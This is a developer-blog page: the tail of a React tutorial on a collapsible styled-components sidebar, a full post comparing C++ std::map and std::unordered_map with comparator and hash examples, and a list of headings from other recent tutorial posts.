  width: 100%;
  padding: 0.5rem 0.25rem;
  border-radius: 0.2rem;
  cursor: pointer;
  &:hover {
    background: #eaeced;
  }
  &.active {
    background-color: #dbe4f3;
  }
`;

export const ItemWrapper = styled.div`
  display: flex;
  align-items: center;
  color: #7c7788;
`;

export const ItemName = styled.span`
  margin-left: ${({ displaySidebar }) => (displaySidebar ? "0.5rem" : "0")};
  display: ${({ displaySidebar }) => (displaySidebar ? "block" : "none")};
  text-transform: capitalize;
`;

// Sidebar Container
export const SidebarContainer = styled.div`
  position: absolute;
  left: 0;
  width: ${({ displaySidebar }) => (displaySidebar ? "15rem" : "5rem")};
  height: 100vh;
  padding: 0.75rem;
  background: #f3f4f4;
  transition: width 350ms ease;
  border-right: 1px solid #d4d8dd;
  overflow-x: hidden;
  ${({ displaySidebar }) =>
    displaySidebar && "box-shadow: 8px 0px 12px 0px rgba(0,0,0,0.1)"};
  ${ItemWrapper} {
    justify-content: ${({ displaySidebar }) => !displaySidebar && "center"};
  }
  &:hover {
    ${({ displaySidebar }) =>
      !displaySidebar && "box-shadow: 8px 0px 12px 0px rgba(0,0,0,0.1)"};
    @media (min-width: 468px) {
      width: ${({ displaySidebar }) => !displaySidebar && "15rem"};
      ${SidebarLogoWrapper} {
        justify-content: ${({ displaySidebar }) =>
          !displaySidebar && "space-between"};
      }
      ${SidebarBrand} {
        display: ${({ displaySidebar }) => !displaySidebar && "block"};
      }
      ${SidebarToggler} {
        display: ${({ displaySidebar }) => !displaySidebar && "block"};
      }
      ${ItemWrapper} {
        justify-content: ${({ displaySidebar }) =>
          !displaySidebar && "flex-start"};
      }
      ${ItemName} {
        display: ${({ displaySidebar }) => !displaySidebar && "block"};
        margin-left: ${({ displaySidebar }) => !displaySidebar && "0.5rem"};
      }
    }
  }
  ::-webkit-scrollbar {
    width: 4px;
    height: 3px;
  }
  ::-webkit-scrollbar-track {
    border-radius: 10px;
    background-color: transparent;
  }
  ::-webkit-scrollbar-thumb {
    border-radius: 10px;
    background: #eaeced;
    &:hover {
      background: #d5e0f3;
    }
  }
  @media (max-width: 468px) {
    width: 5rem;
  }
`;

Here we are making the styles according to the state that we created inside Sidebar.jsx. Recall that we passed the parameters to these components. We can use those params to display and hide whatever we want.

Note the hierarchy. In order to control a child component from a parent component, the child component need to be declared before the parent component.

Now then, let's create a file that will render all the items of Sidebar. Inside the same directory, create a new file under the name SidebarItems.jsx and add the following code to it:

// src/components/Sidebar/SidebarItems.jsx
import React, { useState } from "react";
import { Link } from "react-router-dom";
import {
  ItemsList,
  ItemContainer,
  ItemWrapper,
  ItemName,
} from "./SidebarStyles";

import { dummyData } from "..";

const SidebarItems = ({ displaySidebar }) => {
  const [activeItem, setActiveItem] = useState(0);

  return (
    <ItemsList>
      {dummyData.map((itemData, index) => (
        <ItemContainer
          key={index}
          onClick={() => setActiveItem(itemData.id)}
          {/* Adding active class when the user clicks */}
          className={itemData.id === activeItem ? "active" : ""}
        >
          <Link to={itemData.path}>
            <ItemWrapper>
              {itemData.icon}
              <ItemName displaySidebar={displaySidebar}>
                {itemData.name}
              </ItemName>
            </ItemWrapper>
          </Link>
        </ItemContainer>
      ))}
    </ItemsList>
  );
};

export default SidebarItems;

In this file, we are using useState to manage the active item of the sidebar, Link from React Router to redirect the user to the page, the dummy data from src/components/index.js, and the styles from src/components/Sidebar/SidebarStyles.js.

Inside the main function, we are creating a list and inside the list, we are mapping through the dummy data and rendering it using the styled components that we have imported. Note that we also created an active pseudo-selector inside SidebarStyles.js, that will style the item that is active. The active class is added to the item only if the user clicks it.

Here, we are also using the Link component of React Router, for each item, to navigate to the item that the user clicks.

Finally, we have the following output. Play with the code however you wish and see the changes.

This is a simple Sidebar component. You can, however, extend it and make it much more amazing however you demand it.

Resources:

Stay tuned with more of my blogs on my site

This is my first blog, so, there will be some mistakes in the script, however, the code works perfect. Kindly share tips that can help me make the articles more organized.

C++ STL: map vs unordered_map — Key Differences and How to Choose

Sun, 23 Aug 2026 10:23:17 +0000

For a long time I used std::map and std::unordered_map interchangeably, and honestly I couldn't tell you why I picked one over the other. When I finally sat down and learned how they work under the hood — a red-black tree vs a hash table — choosing became obvious. This is the note I wish I had when I started.

TL;DR: need keys in sorted order or range queries → std::map. Just fast lookups → std::unordered_map. The rest of this post explains why.

1. Overview

std::map and std::unordered_map are containers used to store {key, value} pairs, and provide efficient insert, search, and delete operations.

The key difference: std::map keeps its elements sorted by key, while std::unordered_map makes no guarantee about order.

Compare std::map and std::unordered_map

	`map`	`unordered_map`
Time complexity	O(log N)	Average O(1), worst O(N)
Ordering	sorted by key	no guaranteed order
Underlying implementation	Red-black tree	Hash table
Key requirements	must support `<` (or a custom comparator)	must support `==` and be hashable

How to choose

Use map when you need to traverse in key order, do range queries (lower_bound/upper_bound), or when the key type doesn't have a good hash function.
Use unordered_map if you just need point lookups, frequent inserts, a large number of elements, and the hash distribution is uniform.

2. Space complexity

std::unordered_map spends extra memory on its bucket array, and it keeps the table less than fully packed (that's the load factor at work), so it typically uses more memory than std::map. As you insert more elements, the table rehashes and the bucket array keeps growing.

3. Requirements on the key

std::map stores its elements in a red-black tree, which requires comparing keys with <. The standard library uses operator< by default, but you can provide a custom comparator instead.

For example — Person as a key of std::map, with a custom comparator:

#include <iostream>
#include <map>
#include <string>

struct Person {
    std::string name;
    int age;

    friend std::ostream& operator<<(std::ostream& os, const Person& p) {
        return os << "(" << p.name << ", " << p.age << ")";
    }
};

struct PersonCompare {
    bool operator()(const Person& lhs, const Person& rhs) const {
        if (lhs.age != rhs.age) { return lhs.age < rhs.age; }
        return lhs.name < rhs.name;
    }
};

int main() {
    std::map<Person, std::string, PersonCompare> myMap;
    myMap[{"Alice", 25}]   = "Engineer";
    myMap[{"Bob", 20}]     = "Student";
    myMap[{"Charlie", 25}] = "Designer";

    for (const auto& [key, value] : myMap) {
        std::cout << key << " -> " << value << std::endl;
    }
    return 0;
}

Run it and notice: the output is strictly sorted by (age, name) — that's the red-black tree at work.

std::unordered_map needs a hash function to decide which bucket each key goes into. Because different keys can end up with the same hash (a collision), it also needs == to tell keys apart.

And the same Person as a key of std::unordered_map — note the two extra template parameters (hash + equality) instead of one comparator:

#include <iostream>
#include <unordered_map>
#include <string>

struct Person {
    std::string name;
    int age;

    friend std::ostream& operator<<(std::ostream& os, const Person& p) {
        return os << "(" << p.name << ", " << p.age << ")";
    }
};

struct PersonHash {
    std::size_t operator()(const Person& p) const noexcept {
        return std::hash<std::string>{}(p.name) ^ (std::hash<int>{}(p.age) << 1);
    }
};

struct PersonEqual {
    bool operator()(const Person& lhs, const Person& rhs) const noexcept {
        return lhs.age == rhs.age && lhs.name == rhs.name;
    }
};

int main() {
    std::unordered_map<Person, std::string, PersonHash, PersonEqual> myMap;
    myMap[{"Alice", 25}]   = "Engineer";
    myMap[{"Bob", 20}]     = "Student";
    myMap[{"Charlie", 25}] = "Designer";

    for (const auto& [key, value] : myMap) {
        std::cout << key << " -> " << value << std::endl;
    }
    return 0;
}

Run this one too: the output order will be different — and not sorted. That single difference in output is the "Ordering" row of the table above, live.

Two details worth noticing:

std::hash<std::string>{}(p.name) ^ (std::hash<int>{}(p.age) << 1) combines the two field hashes with XOR; the << 1 shift keeps (name, age) pairs from hashing symmetrically.
PersonEqual exists because of collisions: two different Persons can land in the same bucket, and == is what tells them apart — exactly the chaining mechanism in the Q&A below.

4. Q&A

Q: How does unordered_map deal with hash collisions?
A: C++ STL uses chaining — elements in the same bucket are linked into a list. When inserting, you attach to the end of the chain; when searching, you first use the hash to find the bucket, then traverse the list comparing keys. The more collisions there are, the longer the chain, and the worse the performance.

Q: Why is the worst case O(n)?
A: In the extreme case where all keys hash to the same bucket, the whole table degenerates into a linked list, and searching turns into a linear scan.

Coder Legion - Recent posts tagged tutorial

Tailscale 1.104.4 Patches Four SSH and Serve Bulletins: How to Remediate

💡 Why This Matters for Homelab Users

🧰 Prerequisites

🔍 What the Vulnerability Was

🛡️ Remediation Steps

🔧 Audit Your ACL Policy While You Are At It

🔧 Troubleshooting

✅ Wrap Up

Build an AI Ops Dashboard with FSCSS modules (ai-ui, st-core, circle-progress, overlapui)

What we are building

Prerequisites

1. Project setup

2. dashboard.fscss: the styles source

Why this structure works

3. Compile FSCSS to CSS

4. dashboard.html: the markup

Building a Booking System with Node.js, Google Calendar, and Google Meet

Introduction

1. The Architecture

2. Building the Booking Endpoint

3. Calculating Appointment Duration

4. Preventing Overlapping Bookings

5. Connecting Google Calendar and Google Meet

6. Saving Bookings in MongoDB

7. Adding an Airtable Backup

8. Sending Booking Notifications

9. Lessons from the Implementation

AI videos with Claude Code for beginners: 11 prompts, $0.62

The way of the Jedi

The tool

Why skills

From complete scratch

What we build

Images

House rules

Voice

Music

Editing

The result

The docs I pasted

What's next

Zero to AI-Ready PC in One Click: Windows & Ubuntu AI Requirements Installer Full Tutorial

Zero to AI-Ready PC in One Click: Windows & Ubuntu AI Requirements Installer Full Tutorial

Links:

Chapters:

1-Click Windows and Linux (Ubuntu 22, 24, 26) AI Requirements Installers - Setup Your PC and Make It Ready for All Local AI Apps, Scripts, and More

Why Our AI Requirements Installers

What You Download

Windows AI Requirements Installer

How to Run It

What It Installs

20 Steps, Every One Timed

The Latest NVIDIA Driver

Made for PCs That Already Have Tools

PATH in the Right Order

Environment Variables

Visual Studio Updates Keep Compiling Working

78 Tests, Run for Real

Checked Downloads and Backups

Windows Options

Ubuntu AI Requirements Installer

How to Run It

What It Installs

17 Steps, the NVIDIA Driver Last

Ready in Every New Terminal

66 Tests, Run as You

Before and After, Downloads and Backups

Ubuntu Options

Run It Again Any Time

How to bulk edit Azure DevOps work items without Excel (works on Mac)

cover_image: https://jr-devtools.com/bulk-editor/screenshot-grid.png

1. Bulk edit in the query results (built in)

2. CSV export and import (built in)

3. A spreadsheet grid in the browser

Which one should I use?

Related guides

Twitter (X) Scraper in Python: Tweet Metrics, SQLite Snapshots, and the Walls You'll Hit (2026)

What still works without logging in

Setup

Assertions: Just Use `assert`

Comparing Floats with `pytest.approx`

`pytest.approx` Works with Nested Structures

`pytest.raises` Only Works When the Exception Escapes

Why `conftest.py` Matters

`tmp_path`

`caplog`

`capsys`

`monkeypatch`

`tmp_path` in Practice

`unittest.mock.patch`

`monkeypatch`

`patch` vs `monkeypatch`: A Practical Mental Model

`side_effect`: Make a Mock Fail

Keep `tests/` Outside `src/`

You Usually Don't Need `init.py`

Debugging pytest Without Sprinkling `print()` Everywhere

`-s`: Show stdout/stderr

`-k`: Run Tests by Name

`-x`: Stop at the First Failure

`--pdb`: Drop Into the Debugger

`-vv`: More Verbose Output

`--lf`: Run Only the Last Failures

The `just` version

A few things I liked about `just`